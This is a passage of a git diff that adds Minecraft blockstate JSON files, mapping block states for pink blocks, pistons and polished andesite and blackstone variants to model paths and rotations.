b/src/assets/minecraft/blockstates/pink_glazed_terracotta.json new file mode 100644 index 00000000..84e6c0c6 --- /dev/null +++ b/src/assets/minecraft/blockstates/pink_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/pink_glazed_terracotta", + "y": 270 + }, + "facing=north": { + "model": "minecraft:block/pink_glazed_terracotta", + "y": 180 + }, + "facing=south": { + "model": "minecraft:block/pink_glazed_terracotta" + }, + "facing=west": { + "model": "minecraft:block/pink_glazed_terracotta", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/pink_shulker_box.json b/src/assets/minecraft/blockstates/pink_shulker_box.json new file mode 100644 index 00000000..3f336dcf --- /dev/null +++ b/src/assets/minecraft/blockstates/pink_shulker_box.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/pink_shulker_box" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/pink_stained_glass.json b/src/assets/minecraft/blockstates/pink_stained_glass.json new file mode 100644 index 00000000..3adb5ca2 --- /dev/null +++ b/src/assets/minecraft/blockstates/pink_stained_glass.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/pink_stained_glass" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/pink_stained_glass_pane.json b/src/assets/minecraft/blockstates/pink_stained_glass_pane.json new file mode 100644 index 00000000..9350f435 --- /dev/null +++ b/src/assets/minecraft/blockstates/pink_stained_glass_pane.json @@ -0,0 +1,77 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/pink_stained_glass_pane_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/pink_stained_glass_pane_side" + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/pink_stained_glass_pane_side", + "y": 90 + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/pink_stained_glass_pane_side_alt" + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/pink_stained_glass_pane_side_alt", + "y": 90 + } + }, + { + "when": { + "north": "false" + }, + "apply": { + "model": "minecraft:block/pink_stained_glass_pane_noside" + } + }, + { + "when": { + "east": "false" + }, + "apply": { + "model": "minecraft:block/pink_stained_glass_pane_noside_alt" + } + }, + { + "when": { + "south": "false" + }, + "apply": { + "model": "minecraft:block/pink_stained_glass_pane_noside_alt", + "y": 90 + } + }, + { + "when": { + "west": "false" + }, + "apply": { + "model": "minecraft:block/pink_stained_glass_pane_noside", + "y": 270 + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/pink_terracotta.json b/src/assets/minecraft/blockstates/pink_terracotta.json new file mode 100644 index 00000000..b9dbe910 --- /dev/null +++ b/src/assets/minecraft/blockstates/pink_terracotta.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/pink_terracotta" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/pink_tulip.json b/src/assets/minecraft/blockstates/pink_tulip.json new file mode 100644 index 00000000..038823fb --- /dev/null +++ b/src/assets/minecraft/blockstates/pink_tulip.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/pink_tulip" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/pink_wall_banner.json b/src/assets/minecraft/blockstates/pink_wall_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/pink_wall_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/pink_wool.json b/src/assets/minecraft/blockstates/pink_wool.json new file mode 100644 index 00000000..d7096f63 --- /dev/null +++ b/src/assets/minecraft/blockstates/pink_wool.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/pink_wool" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/piston.json b/src/assets/minecraft/blockstates/piston.json new file mode 100644 index 00000000..0ee3b912 --- /dev/null +++ b/src/assets/minecraft/blockstates/piston.json @@ -0,0 +1,50 @@ +{ + "variants": { + "extended=false,facing=down": { + "model": "minecraft:block/piston", + "x": 90 + }, + "extended=false,facing=east": { + "model": "minecraft:block/piston", + "y": 90 + }, + "extended=false,facing=north": { + "model": "minecraft:block/piston" + }, + "extended=false,facing=south": { + "model": "minecraft:block/piston", + "y": 180 + }, + "extended=false,facing=up": { + "model": "minecraft:block/piston", + "x": 270 + }, + "extended=false,facing=west": { + "model": "minecraft:block/piston", + "y": 270 + }, + "extended=true,facing=down": { + "model": "minecraft:block/piston_base", + "x": 90 + }, + "extended=true,facing=east": { + "model": "minecraft:block/piston_base", + "y": 90 + }, + "extended=true,facing=north": { + "model": "minecraft:block/piston_base" + }, + "extended=true,facing=south": { + "model": "minecraft:block/piston_base", + "y": 180 + }, + "extended=true,facing=up": { + "model": "minecraft:block/piston_base", + "x": 270 + }, + "extended=true,facing=west": { + "model": "minecraft:block/piston_base", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/piston_head.json b/src/assets/minecraft/blockstates/piston_head.json new file mode 100644 index 00000000..b1a80352 --- /dev/null +++ b/src/assets/minecraft/blockstates/piston_head.json @@ -0,0 +1,96 @@ +{ + "variants": { + "facing=down,short=false,type=normal": { + "model": "minecraft:block/piston_head", + "x": 90 + }, + "facing=down,short=false,type=sticky": { + "model": "minecraft:block/piston_head_sticky", + "x": 90 + }, + "facing=down,short=true,type=normal": { + "model": "minecraft:block/piston_head_short", + "x": 90 + }, + "facing=down,short=true,type=sticky": { + "model": "minecraft:block/piston_head_short_sticky", + "x": 90 + }, + "facing=east,short=false,type=normal": { + "model": "minecraft:block/piston_head", + "y": 90 + }, + "facing=east,short=false,type=sticky": { + "model": "minecraft:block/piston_head_sticky", + "y": 90 + }, + "facing=east,short=true,type=normal": { + "model": "minecraft:block/piston_head_short", + "y": 90 + }, + "facing=east,short=true,type=sticky": { + "model": "minecraft:block/piston_head_short_sticky", + "y": 90 + }, + "facing=north,short=false,type=normal": { + "model": "minecraft:block/piston_head" + }, + "facing=north,short=false,type=sticky": { + "model": "minecraft:block/piston_head_sticky" + }, + "facing=north,short=true,type=normal": { + "model": "minecraft:block/piston_head_short" + }, + "facing=north,short=true,type=sticky": { + "model": "minecraft:block/piston_head_short_sticky" + }, + "facing=south,short=false,type=normal": { + "model": "minecraft:block/piston_head", + "y": 180 + }, + "facing=south,short=false,type=sticky": { + "model": "minecraft:block/piston_head_sticky", + "y": 180 + }, + "facing=south,short=true,type=normal": { + "model": "minecraft:block/piston_head_short", + "y": 180 + }, + "facing=south,short=true,type=sticky": { + "model": "minecraft:block/piston_head_short_sticky", + "y": 180 + }, + "facing=up,short=false,type=normal": { + "model": "minecraft:block/piston_head", + "x": 270 + }, + "facing=up,short=false,type=sticky": { + "model": "minecraft:block/piston_head_sticky", + "x": 270 + }, + "facing=up,short=true,type=normal": { + "model": "minecraft:block/piston_head_short", + "x": 270 + }, + "facing=up,short=true,type=sticky": { + "model": "minecraft:block/piston_head_short_sticky", + "x": 270 + }, + "facing=west,short=false,type=normal": { + "model": "minecraft:block/piston_head", + "y": 270 + }, + "facing=west,short=false,type=sticky": { + "model": "minecraft:block/piston_head_sticky", + "y": 270 + }, + "facing=west,short=true,type=normal": { + "model": "minecraft:block/piston_head_short", + "y": 270 + }, + "facing=west,short=true,type=sticky": { + "model": "minecraft:block/piston_head_short_sticky", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/player_head.json b/src/assets/minecraft/blockstates/player_head.json new file mode 100644 index 00000000..3951e3ee --- /dev/null +++ b/src/assets/minecraft/blockstates/player_head.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/skull" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/player_wall_head.json b/src/assets/minecraft/blockstates/player_wall_head.json new file mode 100644 index 00000000..3951e3ee --- /dev/null +++ b/src/assets/minecraft/blockstates/player_wall_head.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/skull" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/podzol.json b/src/assets/minecraft/blockstates/podzol.json new file mode 100644 index 00000000..03e40a71 --- /dev/null +++ b/src/assets/minecraft/blockstates/podzol.json @@ -0,0 +1,24 @@ +{ + "variants": { + "snowy=false": [ + { + "model": "minecraft:block/podzol" + }, + { + "model": "minecraft:block/podzol", + "y": 90 + }, + { + "model": "minecraft:block/podzol", + "y": 180 + }, + { + "model": "minecraft:block/podzol", + "y": 270 + } + ], + "snowy=true": { + "model": "minecraft:block/grass_block_snow" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/polished_andesite.json b/src/assets/minecraft/blockstates/polished_andesite.json new file mode 100644 index 00000000..5bb5391e --- /dev/null +++ b/src/assets/minecraft/blockstates/polished_andesite.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/polished_andesite" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/polished_andesite_slab.json b/src/assets/minecraft/blockstates/polished_andesite_slab.json new file mode 100644 index 00000000..e5ce87a7 --- /dev/null +++ b/src/assets/minecraft/blockstates/polished_andesite_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/polished_andesite_slab" + }, + "type=double": { + "model": "minecraft:block/polished_andesite" + }, + "type=top": { + "model": "minecraft:block/polished_andesite_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/polished_andesite_stairs.json b/src/assets/minecraft/blockstates/polished_andesite_stairs.json new file mode 100644 index 00000000..721f1a0e --- /dev/null +++ b/src/assets/minecraft/blockstates/polished_andesite_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/polished_andesite_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/polished_andesite_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/polished_andesite_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/polished_andesite_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/polished_andesite_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/polished_andesite_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/polished_andesite_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/polished_andesite_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/polished_andesite_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/polished_andesite_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/polished_andesite_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/polished_andesite_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/polished_andesite_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/polished_andesite_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/polished_andesite_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/polished_andesite_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/polished_andesite_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/polished_andesite_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/polished_andesite_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/polished_andesite_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/polished_andesite_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/polished_andesite_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/polished_andesite_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/polished_andesite_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/polished_andesite_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/polished_andesite_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/polished_andesite_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/polished_andesite_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/polished_andesite_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/polished_andesite_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/polished_andesite_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/polished_andesite_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/polished_andesite_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/polished_andesite_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/polished_andesite_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/polished_andesite_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/polished_andesite_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/polished_andesite_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/polished_andesite_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/polished_andesite_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/polished_basalt.json b/src/assets/minecraft/blockstates/polished_basalt.json new file mode 100644 index 00000000..5ee6cefe --- /dev/null +++ b/src/assets/minecraft/blockstates/polished_basalt.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/polished_basalt", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/polished_basalt" + }, + "axis=z": { + "model": "minecraft:block/polished_basalt", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/polished_blackstone.json b/src/assets/minecraft/blockstates/polished_blackstone.json new file mode 100644 index 00000000..e133b276 --- /dev/null +++ b/src/assets/minecraft/blockstates/polished_blackstone.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/polished_blackstone" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/polished_blackstone_brick_slab.json b/src/assets/minecraft/blockstates/polished_blackstone_brick_slab.json new file mode 100644 index 00000000..759b5a73 --- /dev/null +++ b/src/assets/minecraft/blockstates/polished_blackstone_brick_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/polished_blackstone_brick_slab" + }, + "type=double": { + "model": "minecraft:block/polished_blackstone_bricks" + }, + "type=top": { + "model": "minecraft:block/polished_blackstone_brick_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/polished_blackstone_brick_stairs.json b/src/assets/minecraft/blockstates/polished_blackstone_brick_stairs.json new file mode 100644 index 00000000..74bc37cb --- /dev/null +++ b/src/assets/minecraft/blockstates/polished_blackstone_brick_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/polished_blackstone_brick_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/polished_blackstone_brick_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/polished_blackstone_brick_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/polished_blackstone_brick_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/polished_blackstone_brick_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/polished_blackstone_brick_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/polished_blackstone_brick_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/polished_blackstone_brick_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/polished_blackstone_brick_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/polished_blackstone_brick_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/polished_blackstone_brick_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/polished_blackstone_brick_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/polished_blackstone_brick_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/polished_blackstone_brick_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/polished_blackstone_brick_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/polished_blackstone_brick_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/polished_blackstone_brick_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/polished_blackstone_brick_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/polished_blackstone_brick_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/polished_blackstone_brick_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/polished_blackstone_brick_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/polished_blackstone_brick_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/polished_blackstone_brick_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/polished_blackstone_brick_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/polished_blackstone_brick_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/polished_blackstone_brick_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/polished_blackstone_brick_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/polished_blackstone_brick_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/polished_blackstone_brick_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/polished_blackstone_brick_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/polished_blackstone_brick_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/polished_blackstone_brick_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/polished_blackstone_brick_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/polished_blackstone_brick_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/polished_blackstone_brick_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/polished_blackstone_brick_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/polished_blackstone_brick_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/polished_blackstone_brick_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/polished_blackstone_brick_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/polished_blackstone_brick_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/polished_blackstone_brick_wall.json b/src/assets/minecraft/blockstates/polished_blackstone_brick_wall.json new file mode 100644 index 00000000..e25160b5 --- /dev/null +++ b/src/assets/minecraft/blockstates/polished_blackstone_brick_wall.json @@ -0,0 +1,90 @@ +{ + "multipart": [ + { + "when": { + "up": "true" + }, + "apply": { + "model": "minecraft:block/polished_blackstone_brick_wall_post" + } + }, + { + "when": { + "north": "low" + }, + "apply": { + "model": "minecraft:block/polished_blackstone_brick_wall_side", + "uvlock": true + } + }, + { + "when": { + "east": "low" + }, + "apply": { + "model": "minecraft:block/polished_blackstone_brick_wall_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "low" + }, + "apply": { + "model": "minecraft:block/polished_blackstone_brick_wall_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "low" + }, + "apply": { + "model": "minecraft:block/polished_blackstone_brick_wall_side", + "y": 270, + "uvlock": true + } + }, + { + "when": { + "north": "tall" + }, + "apply": { + "model": "minecraft:block/polished_blackstone_brick_wall_side_tall", + "uvlock": true + } + }, + { + "when": { + "east": "tall" + }, + "apply": { + "model": "minecraft:block/polished_blackstone_brick_wall_side_tall", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "tall" + }, + "apply": { + "model": "minecraft:block/polished_blackstone_brick_wall_side_tall", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "tall" + }, + "apply": { + "model": "minecraft:block/polished_blackstone_brick_wall_side_tall", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/polished_blackstone_bricks.json b/src/assets/minecraft/blockstates/polished_blackstone_bricks.json new file mode 100644 index 00000000..2a1cabca --- /dev/null +++ b/src/assets/minecraft/blockstates/polished_blackstone_bricks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/polished_blackstone_bricks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/polished_blackstone_button.json b/src/assets/minecraft/blockstates/polished_blackstone_button.json new file mode 100644 index 00000000..5503cd02 --- /dev/null +++ b/src/assets/minecraft/blockstates/polished_blackstone_button.json @@ -0,0 +1,118 @@ +{ + "variants": { + "face=ceiling,facing=east,powered=false": { + "model": "minecraft:block/polished_blackstone_button", + "y": 270, + "x": 180 + }, + "face=ceiling,facing=east,powered=true": { + "model": "minecraft:block/polished_blackstone_button_pressed", + "y": 270, + "x": 180 + }, + "face=ceiling,facing=north,powered=false": { + "model": "minecraft:block/polished_blackstone_button", + "y": 180, + "x": 180 + }, + "face=ceiling,facing=north,powered=true": { + "model": "minecraft:block/polished_blackstone_button_pressed", + "y": 180, + "x": 180 + }, + "face=ceiling,facing=south,powered=false": { + "model": "minecraft:block/polished_blackstone_button", + "x": 180 + }, + "face=ceiling,facing=south,powered=true": { + "model": "minecraft:block/polished_blackstone_button_pressed", + "x": 180 + }, + "face=ceiling,facing=west,powered=false": { + "model": "minecraft:block/polished_blackstone_button", + "y": 90, + "x": 180 + }, + "face=ceiling,facing=west,powered=true": { + "model": "minecraft:block/polished_blackstone_button_pressed", + "y": 90, + "x": 180 + }, + "face=floor,facing=east,powered=false": { + "model": "minecraft:block/polished_blackstone_button", + "y": 90 + }, + "face=floor,facing=east,powered=true": { + "model": "minecraft:block/polished_blackstone_button_pressed", + "y": 90 + }, + "face=floor,facing=north,powered=false": { + "model": "minecraft:block/polished_blackstone_button" + }, + "face=floor,facing=north,powered=true": { + "model": "minecraft:block/polished_blackstone_button_pressed" + }, + "face=floor,facing=south,powered=false": { + "model": "minecraft:block/polished_blackstone_button", + "y": 180 + }, + "face=floor,facing=south,powered=true": { + "model": "minecraft:block/polished_blackstone_button_pressed", + "y": 180 + }, + "face=floor,facing=west,powered=false": { + "model": "minecraft:block/polished_blackstone_button", + "y": 270 + }, + "face=floor,facing=west,powered=true": { + "model": "minecraft:block/polished_blackstone_button_pressed", + "y": 270 + }, + "face=wall,facing=east,powered=false": { + "model": "minecraft:block/polished_blackstone_button", + "y": 90, + "x": 90, + "uvlock": true + }, + "face=wall,facing=east,powered=true": { + "model": "minecraft:block/polished_blackstone_button_pressed", + "y": 90, + "x": 90, + "uvlock": true + }, + "face=wall,facing=north,powered=false": { + "model": "minecraft:block/polished_blackstone_button", + "x": 90, + "uvlock": true + }, + "face=wall,facing=north,powered=true": { + "model": "minecraft:block/polished_blackstone_button_pressed", + "x": 90, + "uvlock": true + }, + "face=wall,facing=south,powered=false": { + "model": "minecraft:block/polished_blackstone_button", + "y": 180, + "x": 90, + "uvlock": true + }, + "face=wall,facing=south,powered=true": { + "model": "minecraft:block/polished_blackstone_button_pressed", + "y": 180, + "x": 90, + "uvlock": true + }, + "face=wall,facing=west,powered=false": { + "model": "minecraft:block/polished_blackstone_button", + "y": 270, + "x": 90, + "uvlock": true + }, + "face=wall,facing=west,powered=true": { + "model": "minecraft:block/polished_blackstone_button_pressed", + "y": 270, + "x": 90, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/polished_blackstone_pressure_plate.json b/src/assets/minecraft/blockstates/polished_blackstone_pressure_plate.json new file mode 100644 index 00000000..f8f5cb14 --- /dev/null +++ b/src/assets/minecraft/blockstates/polished_blackstone_pressure_plate.json @@ -0,0 +1,10 @@ +{ + "variants": { + "powered=false": { + "model": "minecraft:block/polished_blackstone_pressure_plate" + }, + "powered=true": { + "model": "minecraft:block/polished_blackstone_pressure_plate_down" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/polished_blackstone_slab.json b/src/assets/minecraft/blockstates/polished_blackstone_slab.json new file mode 100644 index 00000000..1cfda0dd --- /dev/null +++ b/src/assets/minecraft/blockstates/polished_blackstone_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/polished_blackstone_slab" + }, + "type=double": { + "model": "minecraft:block/polished_blackstone" + }, + "type=top": { + "model": "minecraft:block/polished_blackstone_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/polished_blackstone_stairs.json b/src/assets/minecraft/blockstates/polished_blackstone_stairs.json new file mode 100644 index 00000000..9a4dfc73 --- /dev/null +++ b/src/assets/minecraft/blockstates/polished_blackstone_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/polished_blackstone_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/polished_blackstone_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/polished_blackstone_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/polished_blackstone_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/polished_blackstone_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/polished_blackstone_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/polished_blackstone_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/polished_blackstone_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": 